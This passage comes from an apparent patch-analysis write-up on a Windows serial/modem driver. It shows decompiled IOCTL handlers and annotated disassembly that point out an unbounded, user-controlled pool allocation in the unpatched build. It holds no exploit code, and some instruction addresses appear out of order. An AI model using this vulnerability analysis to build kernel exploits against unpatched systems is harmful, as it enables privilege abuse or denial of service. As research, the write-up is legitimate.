&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;sl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Parameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DeviceIoControl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Type3InputBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// scratch, +0x20&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SerialStartOrQueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SerialStartRead&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// sub_12c4b4 / sub_12b5b8&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;IOCTL_SERIAL_SET_WAIT_MASK&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// 0x1b0044 — Finding 2&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inlen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_BUFFER_TOO_SMALL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;sysbuf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFFE000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// reject bits &amp;gt;12&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SerialStartOrQueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SerialStartMask&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// sub_12c4b4 / sub_12c6c0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;IOCTL_SERIAL_SET_HANDFLOW&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// 0x1b0064 — Finding 3&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inlen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_BUFFER_TOO_SMALL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SERIAL_HANDFLOW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;hf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sysbuf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ControlHandShake&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7FFFFF84&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FlowReplace&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7FFFFF20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;hf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ControlHandShake&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;XonLimit&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;XonLimit&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Extension&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;BufferSize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// +0x140&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;XoffLimit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hf&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;XoffLimit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Extension&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;BufferSize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Extension&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;spin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// SerialSetHandFlow applies the validated flow-control settings&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patched binary contains no equivalent — the patched &lt;code&gt;DriverEntry&lt;/code&gt; (0x1c0006008) returns &lt;code&gt;STATUS_NOT_SUPPORTED&lt;/code&gt; before this code is ever wired up.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;SerialIoControl (sub_1297f8)&lt;/code&gt; — IOCTL Dispatch (unpatched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;; agrsm64_unpatched!SerialIoControl  — IRP_MJ_DEVICE_CONTROL&lt;/span&gt;
&lt;span class="c1"&gt;; ============================================================&lt;/span&gt;

&lt;span class="c1"&gt;; --- Preamble: rsi = dev ext, r12 = IRP, rbx = current IO stack location ---&lt;/span&gt;
&lt;span class="c1"&gt;; --- [r12+0x18] = AssociatedIrp.SystemBuffer ---&lt;/span&gt;

&lt;span class="c1"&gt;; &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; IOCTL 0x1b0008 — IOCTL_SERIAL_SET_QUEUE_SIZE &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129b11:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; InputBufferLength &amp;lt; 8 ?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129b1a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_129b6d&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; STATUS_BUFFER_TOO_SMALL (0xC0000023)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129b15:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; rax = SystemBuffer&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129b1c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; eax = requested size  ← USER-CONTROLLED&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129b1e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x140&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; vs current receive-buffer size&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129b24:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_12a256&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; grow-only: skip alloc if size &amp;lt;= current&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129b2f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x4d534741&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; Tag &amp;#39;AGSM&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129b35:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; NonPagedPool, size — no upper bound&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129b3b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; store ptr in IO stack location scratch (+0x20)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129b44:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xC000009A&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INSUFFICIENT_RESOURCES on alloc failure&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129b5c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;SerialStartRead&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; start routine (sub_12b5b8)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x12a28a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SerialStartOrQueue&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; sub_12c4b4 — queue IRP&lt;/span&gt;

&lt;span class="c1"&gt;; &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; IOCTL 0x1b0044 — IOCTL_SERIAL_SET_WAIT_MASK &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129bcd:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; InputBufferLength &amp;lt; 4 ?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129bd7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xFFFFE000&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; reject bits &amp;gt;12 (invalid SERIAL_EV_*)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129bdd:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_12a251&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129bf1:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;SerialStartMask&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; sub_12c6c0&lt;/span&gt;

&lt;span class="c1"&gt;; &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; IOCTL 0x1b0064 — IOCTL_SERIAL_SET_HANDFLOW &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129d85:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; InputBufferLength &amp;lt; 16 ?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129d94:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; ControlHandShake (r14 = SystemBuffer)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x129d97:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x7FFFFF84&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; reserved ControlHandShake bits&lt;/span&gt;
